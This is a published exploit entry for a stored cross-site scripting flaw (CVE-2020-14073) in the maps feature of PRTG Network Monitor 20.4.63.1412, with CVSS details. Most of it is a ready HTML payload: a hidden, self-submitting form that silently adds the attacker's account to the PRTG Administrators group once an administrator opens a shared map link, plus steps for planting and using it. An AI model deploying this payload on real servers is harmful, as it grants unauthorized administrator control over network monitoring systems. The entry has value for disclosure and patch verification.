PRTG Network Monitor 20.4.63.1412 Cross Site Scripting

2020.12.03
Credit: Amin Rawah
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 3.5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS # Date: 2/12/2020 # Exploit Author: Amin Rawah # Vendor Homepage: https://www.paessler.com/prtg # Software Link: https://www.paessler.com/prtg # Version: 20.4.63.1412 x64 # Tested on: Windows # CVE : CVE-2020-14073 Description: Since there is a stored XSS affecting 'maps' in the system, a malicious user can escalte his/her privilege to PRTG Administrator. Steps: 1- Login to PRTG system and view source code (currentUserId) 2- Create a map, add an element, double click the element and modify the HTML section 'HTML After' 3- In 'HTML After' add the following code: <form action="http://<PRTG_SERVER>:8081/editsettings" method="POST" enctype="multipart/form-data"> <input type="hidden" name="name&#95;" value="PRTG&#32;Administrators" /> <input type="hidden" name="defaulthome&#95;" value="&#47;welcome&#46;htm" /> <input type="hidden" name="isadgroup" value="0" /> <input type="hidden" name="adusertype&#95;" value="0" /> <input type="hidden" name="aduserack&#95;" value="0" /> <input type="hidden" name="users&#95;" value="1" /> <input type="hidden" name="users&#95;" value="1" /> <input type="hidden" name="users&#95;&#95;check" value="<currentUserId>&#124;<YOUR_USERNAME>&#124;" /> <input type="hidden" name="users&#95;&#95;check" value="100&#124;PRTG&#32;System&#32;Administrator&#124;" /> <input type="hidden" name="id" value="200" /> <input type="hidden" name="targeturl" value="&#47;systemsetup&#46;htm&#63;tabid&#61;6" /> <input type="submit" value="Submit request" /> </form> <svg/onload='document.forms[0].submit()'/> 4- Save and share the link with PRTG Administrator. 5- Login with the highest privilege.


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